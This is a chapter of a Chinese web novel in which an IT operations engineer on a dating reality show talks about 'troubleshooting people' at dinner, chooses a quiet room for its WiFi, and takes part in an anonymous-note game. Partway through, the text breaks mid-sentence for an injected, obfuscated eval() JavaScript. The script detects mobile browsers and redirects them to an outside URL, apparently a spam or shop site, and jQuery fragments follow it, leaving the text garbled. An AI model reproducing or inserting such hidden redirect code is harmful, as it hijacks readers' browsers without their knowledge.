餐桌上的空气凝滞了两秒。


    陈末叉子上那片三文鱼悬在半空，酱汁差点滴到白桌布上。他看向长桌那头的林薇，影后的表情平静得像在问“今天天气如何”，但眼睛里那点微光出卖了她——那是认真提问时才有的专注。


    “人如果出故障了？”陈末重复了一遍问题，大脑迅速切换模式。运维工程师的思维是线性的：发现问题，定位原因，制定方案，执行修复，验证结果。


    “首先得定义什么是故障。”他说，放下叉子，“系统预期行为与实际行为不一致，就是故障。对人来说……”


    他顿了顿，意识到这个类比有点危险。


    “继续说。”秦澜开口，她身体微微前倾，手肘支在桌上，十指交叠——那是倾听的姿态。


    陈末看了眼周围。苏小雨咬着叉子尖，眼睛睁得圆圆的；楚曦干脆把胳膊架在椅背上，一副看好戏的表情；王烁的笑容还在，但嘴角的弧度比刚才僵硬了0.5度。


    “对人来说，”陈末继续，“如果一个人原本能正常工作、社交、生活，突然不能了，或者效率严重下降，那就是‘故障’。”


    “怎么排查？”林薇追问。她喝了一口水，玻璃杯边缘留下浅浅的唇印。


    “第一步，收集日志。”陈末进入工作状态，语速快了些，“就是问问题：什么时候开始的？发生前做了什么？有什么异常感觉？伴随症状？”


    “像医生问诊。”楚曦插话。


    “嗯，类似。第二步，复现问题——如果可能的话。第三步，隔离变量。是睡眠不足？压力太大？人际关系问题？还是生理疾病？”


    陈末说到这儿停住了。他发现所有人都在看着他，包括角落里的摄像师——那哥们把镜头推了个特写，陈末能看到自己映在镜头玻璃上的脸。


    “然后呢？”苏小雨小声问。


    “然后……”陈末想了想，“如果是软件问题，就修复代码。如果是硬件问题，可能需要休息、治疗，或者……”他停了一下，“或者接受某些不可逆的损坏，调整预期，寻找替代方案。”


    餐桌又安静了。


    这次打破沉默的是王烁的笑声，很轻，但足够让气氛松动：“陈末这个思维方式很有意思，很理性。”


    “过于理性了。”秦澜说，但她眼里有笑意，“不过我喜欢这种结构化的分析方式。”


    服务员恰好在这时进来上主菜，是牛排，煎得恰到好处，摆盘精致得像艺术品。话题自然转到了食物上，陈末松了口气。


    他切了一小块牛排，七分熟，口感不错。心里却在复盘刚才的对话——他说太多了。张伟的叮嘱是“别太出风头”，而他和影后讨论“人类故障排查”，这已经超出“普通素人”的范畴了。


    日薪一千。背景板。记住你的角色。


    陈末默念三遍，决定接下来保持沉默。


    但楚曦不打算放过他。


    “陈末，”她隔着桌子问，“按你这个理论，你觉得我们现在这个‘恋综系统’，可能出什么故障？”


    陈末差点被牛排呛到。


    “楚曦，”王烁温和地提醒，“这个问题有点尖锐哦。”


    “我就问问嘛。”楚曦耸肩，“反正都是闲聊。”


    所有人的目光又回到陈末身上。连一直专注切牛排的林薇都抬起了头。


    陈末放下刀叉，脑子飞速运转。这是个陷阱题——说真话可能得罪节目组，说假话又显得虚伪。他需要给出一个既真实又安全的答案。


    “从系统设计角度，”他选了个最技术化的表述，“任何多人协作系统都可能出现通信延迟、协议不一致、资源竞争和状态同步问题。”


    他用了四个专业术语，成功让苏小雨露出了“虽然听不懂但感觉很厉害”的表情。


    “说人话。”楚曦笑着催促。


    “就是……”陈末斟酌用词，“大家刚认识，沟通可能不畅，想法可能不同，互动可能有摩擦，而且我们六个人的状态可能不在同一个节奏上。”


    “精辟。”秦澜说，她切牛排的动作停顿了一下，“所以你建议怎么优化这个系统？”


    陈末看着秦澜。这位女导演的眼神很认真，不像在开玩笑。


    “最简单的优化方案，”他说，“降低预期，增加容错，给系统足够的自调节时间。”


    王烁笑了：“意思是让我们别着急，顺其自然？”


    “差不多。”


    林薇忽然开口：“如果系统永远无法达到预期性能呢？”


    问题一个比一个深。陈末开始怀疑这顿晚餐是不是节目组设计的哲学讨论环节。


    “那就修改预期。”他说，“或者重构系统。”


    “怎么重构？”


    “改变交互模式，调整人员配置，或者……”陈末顿了顿，“直接下线，换一个更适合的系统。”


    这句话说完，他自己都愣住了。太直接了。太“运维工程师”了。


    但林薇点了点头，像是得到了想要的答案。她继续吃牛排，没再说话。


    晚餐的后半段，话题转向了更轻松的内容：明天的天气，海岛的风光，大家之前的旅行经历。陈末大部分时间在听，偶尔被问到才简单回应。


    他数着时间：18:30到19:30，正好一小时。83.33元入账。


    甜点上桌时，刘导进来了。他拍了拍手，吸引大家的注意力。


    “各位老师，晚餐后我们有一个简短的环节——房间分配。”刘导说，“别墅二楼有三间双人套房，三楼有两间单人套房。考虑到节目性质，我们决定让男嘉宾和女嘉宾分开楼层居住。二楼是三间女嘉宾的房间，三楼是两间男嘉宾的房间。”


    他拿出一个平板：“具体分配方式很简单。二楼三间房各有特色：一间是海景套房，带阳台；一间是花园景观房，更安静；还有一间在中间，视野均衡。”


    “男嘉宾的两间房在三楼，一间朝南，海景；一间朝北，花园景。现在请男嘉宾先选择，然后女嘉宾选择。”


    王烁立刻开口：“陈末你先选吧，我都可以。”


    很绅士。很符合他的人设。


    陈末没推辞。他脑子里迅速过了一遍需求：他要在这里住三十天，需要稳定的网络（可能还要远程处理工作紧急问题），需要安静的环境（确保睡眠质量），需要……


    “能问几个问题吗？”陈末说。


    刘导点头：“当然。”


    “哪间房的WiFi信号最好？”


    问题一出，王烁的笑容凝固了半秒。苏小雨“噗”地笑出声，赶紧捂住嘴。楚曦直接笑出声：“不愧是搞IT的！”


    刘导也愣了一下，然后转向旁边的工作人员。工作人员小声说了几句，刘导转回来：“三楼的房间信号都很好，我们有专业级信号增强。具体来说……朝南那间稍微强一点，因为离主路由器更近。”


    “哪间最安静？”陈末继续问。


    “朝北那间。”刘导说，“不临海，海浪声小，而且窗户对着内院花园，相对隔音。”


    陈末点头：“那我选朝北那间。”


    餐厅里安静了一瞬。


    “你确定？”王烁忍不住问，“海景房视野更好，早上能看到日出。”


    “我需要安静。”陈末说。这是实话——他睡眠浅，一点声音就容易醒。而且如果半夜需要处理工作，安静的环境更有利于集中注意力。


    至于海景……他看了一眼窗外。夜色中的海面漆黑一片，只有远处灯塔的微光。很美，但不能当饭吃，也不能换钱。


    “好。”刘导在平板上操作，“那王烁老师就是朝南海景房。接下来请女嘉宾选择——”


    “我能也问问题吗？”苏小雨举手，眼睛亮晶晶的，“哪间房离陈末老师最近？”


    问题太直接，直接到连楚曦都挑了挑眉。林薇切甜品的动作停了，秦澜端起水杯，用喝水掩饰表情。


    刘导咳嗽一声：“这个……从垂直距离来说，三楼朝北房的正下方，是二楼的中间那间。”


    “那我要那间！”苏小雨立刻说。


    “小雨，”王烁温和地提醒，“你不看看海景房吗？”


    “海景我房间也有啊，”苏小雨说，她指了指二楼中间那间，“而且我就喜欢住中间，有安全感。”


    楚曦笑了：“那我选海景房，我喜欢早上被阳光和海浪声叫醒。”


    秦澜的选择很简洁：“花园景观，安静。”


    最后剩下林薇。她没问问题，直接说：“我都可以。剩下的给我就好。”


    剩下的是……二楼的花园景观房，在秦澜隔壁。


    分配完毕。刘导让工作人员带大家去看房间。


    陈末拎着自己那个轮子不太灵光的行李箱上三楼。楼梯是旋转设计，铺着厚地毯，走起来很安静。王烁跟在他后面，行李箱是银色的，四个轮子都灵活，没发出一点声音。


    三楼走廊很宽，两边墙上挂着抽象画。朝南的房间在走廊尽头，门是深色的；朝北的房间在中间，门是浅色的。


    “到了。”工作人员打开朝北的房门。


    陈末走进去。房间比他想象的大——客厅、卧室、独立卫生间，还有个小小的书房区域。窗户确实对着内院花园，能看见楼下花园里的灯光和树影。很安静，连楼下说话声都听不见。


    他做的第一件事是打开手机，测试WiFi速度。下载速度每秒312Mbps，上传287Mbps。比他在公司用的网络还快。


    不错。陈末满意地点头。


    “陈末。”门口传来王烁的声音。


    陈末回头。王烁站在门口，没进来，只是靠在门框上。走廊的光从他背后照过来，在他脸上投下阴影。


    “有事？”陈末问。


    “就是想问问，”王烁说，语气很随意，“你是真的因为WiFi和安静选这间房的吗？”


    “不然呢？”


    王烁笑了，那笑容在阴影里显得有些模糊：“没什么，就是好奇。毕竟这是恋综，大多数人会考虑……别的因素。”


    “比如？”


    “比如离谁更近，视野更好，或者……”王烁顿了顿，“更容易被镜头拍到。”


    陈末听懂了。王烁在提醒他，或者试探他。


    “我需要好的网络，可能还要处理工作。”陈末实话实说，“安静也很重要。”


    王烁点点头，没再说什么。他转身走向走廊尽头的房间，行李箱轮子在地毯上滑出轻微的沙沙声。


    门关上了。


    陈末把自己的行李箱放在墙角，打开。里面东西很简单：几件换洗衣服，笔记本电脑，充电器，一本《Linux服务器运维实战》，还有一个小药盒——母亲常用的几种药，他带来备用的。


    他把书放在床头柜上，打开笔记本电脑，连上WiFi。邮箱里有两封新邮件，一封是公司发的服务器升级通知，一封是医院的自动提醒：母亲的复查预约在下周三。


    三十天。他要在三十天内赚够手术费的前期款。


    陈末看了眼时间，晚上八点十分。按照日程，八点半到九点半是“自由交流时间”，可以选择在公共区域活动，也可以待在房间。


    他决定待在房间。最安全。


    但手机响了，是内部通讯软件的消息。来自“节目组通知”：


    【全体嘉宾请注意：原定20:00-21:30的自由交流环节调整为20:30在客厅进行。请各位老师务必参加，有重要安排。】


    务必参加。


    陈末叹了口气。看来“待在房间”这个选项不存在了。


    他关掉电脑，站起身。走到窗前，看着楼下的花园。花园里灯光柔和，能看见秦澜坐在长椅上，手里拿着本书。楚曦在泳池边散步，苏小雨……苏小雨正从别墅里跑出来，手里抱着什么，好像是零食。


    一切看起来很美好，很平静。


    但陈末脑子里还在回响王烁那句话：“毕竟这是恋综。”


    是啊，这是恋综。而他是个为了钱来当背景板的运维工程师。


    他需要记住这一点。


    八点二十五分，陈末下楼。客厅已经


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990766|193693||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    布置好了，沙发围成半圆，中间茶几上摆着饮料和零食。其他人陆续到来，林薇最后一个，她换了身居家服，灰色的棉质长裤和白色T恤，头发松松地扎在脑后。


    刘导站在客厅中央，手里拿着一个信封。


    “各位老师，今晚我们有个小环节。”他说，“每个人需要写一张匿名纸条，回答一个问题：你希望在这次旅程中获得什么？”


    匿名纸条。陈末心想，这个设计不错，能收集真实想法，又不会让嘉宾太有压力。


    工作人员发下纸笔。陈末接过，想了想。


    他希望获得什么？钱。三万块。母亲手术费的前期款。


    但他不能写这个。


    他提笔，写下：“希望能顺利完成这次体验。”


    安全，中性，符合“普通素人”的人设。


    纸条收上去后，刘导说：“现在我会随机抽读几张——当然，不会透露是谁写的。”


    他抽出一张：“‘希望能遇到真诚的人，看到真实的一面。’”


    楚曦吹了个口哨：“说得好！”


    第二张：“‘学习如何在不熟悉的环境中找到自己的位置。’”


    秦澜点头：“这个心态很好。”


    第三张：“‘想看看脱下光环后，自己还是不是自己。’”


    客厅安静了一下。这句话有点重。


    林薇低着头，看着自己的手。


    第四张：“‘希望网络信号一直稳定。’”


    “噗——”苏小雨笑出声，然后赶紧捂住嘴，眼睛弯成月牙看向陈末。


    陈末面无表情。那张是他写的吗？不，他写的是“顺利完成体验”。那这张是……


    王烁？不太可能。


    楚曦？她看起来不像会在意WiFi的人。


    刘导笑了：“这张很务实啊。好了，最后一张——”


    他抽出第五张，看了一眼，表情微妙地变化了一下。


    “这张写的是：‘希望故障排查理论在实践中能验证。’”


    陈末猛地抬头。


    他看向林薇。林薇也正好抬头，两人目光在空中相遇。


    影后的眼神很平静，但陈末看见，她放在膝盖上的手指，轻轻动了一下。


    那是……一个微小的、几乎看不见的点头。


    仿佛在说：是我写的。


    刘导收起纸条，笑容满面：“好了，今晚就到这里。明天九点，第一次任务分组，请大家准时到客厅集合。”


    散场时，陈末走在最后。经过林薇身边时，她轻声说：


    “书能借我看看吗？”


    陈末停住脚步：“哪本？”


    “《Linux服务器运维实战》。”林薇说，“第七章，故障排查。”


    陈末看着她。客厅的灯光在她脸上投下柔和的阴影，她的眼神很认真，不是在开玩笑。


    “书在我房间。”他说。


    “明天。”林薇说，“早餐后。”


    她说完就上楼了，留下陈末站在原地。


    楚曦从后面拍他的肩：“行啊你，连影后都对你这本天书感兴趣了。”


    陈末没说话。他脑子里在想别的事。


    林薇为什么要看那本书？是真的感兴趣？还是……


    他摇摇头，把这个念头甩开。不可能。影后怎么可能真的对服务器运维感兴趣。


    他上楼回房间。关门前，他看了眼走廊尽头——王烁的房间门关着，门缝下透出光亮。


    陈末关上门，反锁。


    他坐在床边，打开手机备忘录，更新今日记录：


    【8月3日第一天】


    预计收入：1000元


    实际工时：12h（09:00-21:00）


    已赚：1000元（本日额度达成）


    累计收入：1000元


    距离目标：29000元


    备注：林薇要求借阅技术书籍，动机不明。王烁可能已产生竞争意识。选房理由（WiFi+安静）引发关注，需评估是否过于突出。


    写完，他盯着“动机不明”四个字看了几秒。


    然后他打开浏览器，搜索“林薇技术背景”。


    结果都是演艺相关，没有任何技术背景信息。


    他又搜索“明星突然对计算机感兴趣”，跳出来的都是八卦新闻：某歌手沉迷游戏，某演员投资科技公司。


    没有参考价值。


    陈末关掉手机，躺到床上。床垫很软，被子轻薄但暖和。房间里确实安静，只能听见空调出风的微弱声音。


    他闭上眼，脑子里却还在转。


    故障排查理论。


    人类故障。


    林薇的问题。


    那张匿名纸条。


    这些碎片拼在一起，指向什么？


    不知道。


    陈末翻了个身，强迫自己睡觉。明天还有工作，还要赚钱。


    窗外，海岛夜空晴朗，能看到星星。


    别墅一楼的监控室里，刘导正看着屏幕回放。画面停在晚餐时，林薇问“人如果出故障了”那个瞬间。


    “这段剪进去，”刘导对剪辑师说，“还有选房那段，WiFi和安静那段，重点剪。”


    “刘导，”助理小声问，“陈末老师这种……直男表现，观众真的会喜欢吗？”


    刘导笑了，他看着屏幕上陈末那张因为思考技术问题而略显严肃的脸。


    “你不懂，”他说，“现在观众最讨厌的就是完美人设。有点缺陷，有点怪，但真实——这才是宝藏。”


    他点了支烟，深吸一口。


    “等着看吧。第一期播出后，这个陈末……会让我们所有人都惊喜。”


    烟雾在监控室里缓缓升起，在屏幕的光里变幻形状。


    而三楼朝北的房间里，陈末已经睡着了。他做了一个梦，梦里自己在修一台巨大的服务器，而服务器屏幕上显示的，是六张人脸。


    其中一张是林薇的。


    她在屏幕上说：“第七章，故障排查。你翻到第几页了？”